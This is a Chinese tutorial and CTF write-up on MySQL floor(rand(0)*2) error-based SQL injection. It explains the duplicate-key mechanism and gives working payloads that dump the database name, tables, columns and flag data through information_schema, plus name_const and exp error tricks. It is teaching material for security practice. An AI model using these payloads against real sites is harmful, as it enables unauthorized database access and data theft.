当前位置: 首页 > article >正文

【floor报错注入】

一、sql语句基础

floor

向下取整
请添加图片描述

count

取数据的数量
请添加图片描述

group by

分组查询
请添加图片描述

Rand

随机数
请添加图片描述

limit

请添加图片描述

二、floor报错注入

主键重复报错

我们先了解group by产生的虚拟表的原理,了解到虚拟表的主键是不可以重复的

请添加图片描述
我们再可以通过Rand(0)函数规定固定种子后乘2,再用floor取整让列名出现以下能够不断重复的数列,乘2的目的是为了让
Rand(0)函数取到的大于0.5的函数大于1,从而让数列能够在0和1之间,间歇的出现

请添加图片描述

接着我们就可以在group by的虚拟表中动手了,利用floor(rand(0)*2) 为user表中的每个数据生成种子,再乘以2取整,为虚拟表生成固定的键01101,具体原理看下图,就能实现重复报错:

请,添加图片描述

练习

我们来练习一道题目,练习之前先复习一下我们之前学的判断字符型注入和数字型注入的方法

id=1

测试是否有sql注入
id=1'

测试数字型sql注入
id=1%23

测试字符型sql注入
id=1'%23

我们来看一下这道题,依旧是过滤了union联合查询:
请添加图片描述
通过测试,这是一个数字型注入,找到注入点后,我们就开始注入:
请添加图片描述
因为页面直接回显了报错信息,可以使用报错注入,在使用updatexml或者extractvalue时 提示了过滤,换成floor函数,我们来看一下payload:

#爆库名
id=1 and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#爆表名
id=1 and (select 1 from  (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#爆列名
id=1 and (select 1 from  (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

#拿数据
id=1 and (select 1 from  (select count(*),concat((select flag from flag limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

我们看到第一个爆库名我们主要的参数还是写在concat里面,and 后面的参数呢和我们的上面的重复报错的例子基本上一样的

select username,count(*) from user group by floor(rand(0)*2);

不同的地方就是我们用concat()把database()和floor()连接起来了:

concat(database(),floor(rand(0)*2))x

x是别名,意思是给我们前面的语句起了个名字,那么x就代表了:

concat(database(),floor(rand(0)*2))

后面的group by x实际上就等同于group by concat(database(),floor(rand(0)*2))

我们直接利用一下payload:

请添加图片描述
这里回显了’web1’,web是我们database()的报错信息,1就是floor(rand(0)*2)的报错信息,只不过我们用concat把他们两都链接起来了,我们接着拿表名:

请添加图片描述
我们成功拿到了flag表名,这里注意一下,我们使用了limit 0,1,我们删掉试试:
请添加图片描述

现在返回的错误显示我们查询的返回超过一行,我们回顾一下上一次我们遇到错误的时候,我们使用group_concat()将我们的多行合并成一行,这里我们需要使用limit因为我们在前面的sql基础讲过limit可以限制sql语句返回的行数,这里我们让他从第零行开始返回一条数据,我们把第零行修改成1,让它返回一条数据,它就把user表输出出来了,我们接着拿列名:
请添加图片描述
拿到列名后,我们直接去那flag列里面的数据:
请添加图片描述
现在我们就拿到了flag,这个flag相对于我们上一次的extractvalue拥有的长度限制,在floor里是没有这个限制的,可以一次性的把全部都输出:
请添加图片描述

三、MySql特性

列名重复

Name_const()函数是给变量赋值的,我们看一下下面的实例中的用法就是把test赋值给name,那么我们的name就对应着test,我们看到下面的报错,这里用到了两个Name_const(),产生了两个相同的列名,就导致了报错,爆出了数据库版本号,Name_const()有个限制只能拿到数据库版本号:
请添加图片描述

几何函数

几何函数通常是用来产生溢出错误,比如我们输入一个数字特别大,让mysql执行不了,下面列举了几个报错的函数:

请添加图片描述

我们主要看一下第一个EXP,我们执行一下:
请添加图片描述
我们看到,虽然它报错了,但是没有我们想要的user()数据,比如说没有把我们想要的root@localhost显示出来,只有一个user() ,我们这里注意一下,上面的这些函数,在mysql<5.5.47的版本下是可以显示出我们刚刚的执行结果的,但我们的版本是5.5.53是显示不出来的,但是我们后面会讲解报错盲注,把EXP的报错特性和盲注结合起来的一种注入:
请添加图片描述


http://www.kler.cn/news/329478.html

相关文章:

  • 《深度学习》自然语言处理 统计、神经语言模型 结构、推导解析
  • 【css】如何设计出具有权威性的“机构”网页
  • OpenAI 推理模型 O1 研发历程:团队访谈背后的故事
  • 高防服务器有用吗?租用价格一般多少
  • 【Linux进程间通信】Linux匿名管道详解:构建进程间通信的隐形桥梁
  • HDFS Shell作业1
  • 查看 git log的过程中看到 :说明日志输出可能超出屏幕大小,系统进入了分页模式
  • UI自动化
  • TRIZ理论在机器人性能优化中的应用
  • pytorch之梯度累加
  • go基础面试题汇总第一弹
  • 双十一有哪些值得入手的好物?这五款宝藏好物不容错过!
  • pnpm依赖安装失败解决|pnpm项目从一个文件夹复制到另一个文件夹运行失败问题解决-以vbenAdmin项目为例
  • gitee公钥设置、创建库及使用
  • Pytorch基本知识
  • 04.useTitle
  • 第L6周:机器学习|支持向量机(SVM):2. 支持向量机实战
  • 深入探索机器学习中的聚类算法
  • 每日一题|983. 最低票价|动态规划、记忆化递归
  • OpenCV视频I/O(4)视频采集类VideoCapture之获取异常处理模式函数getExceptionMode()的使用
  • 【JavaEE初阶】深入理解多线程阻塞队列的原理,如何实现生产者-消费者模型,以及服务器崩掉原因!!!
  • 2024年7月大众点评全国美食店铺基础信息分析
  • C++初阶:STL详解(十)——priority_queue的介绍,使用以及模拟实现
  • 【C++】第一节:C++入门
  • Spring Boot与足球青训后台系统的协同
  • Golang | Leetcode Golang题解之第442题数组中重复的数据
  • Python知识点:使用Azure IoT Edge与Python进行边缘计算
  • SpringBoot-MybatisPlus项目中,在控制台查看sql执行日志的方法
  • Git 与标签管理
  • 人工智能领域机器学习与深度学习的区别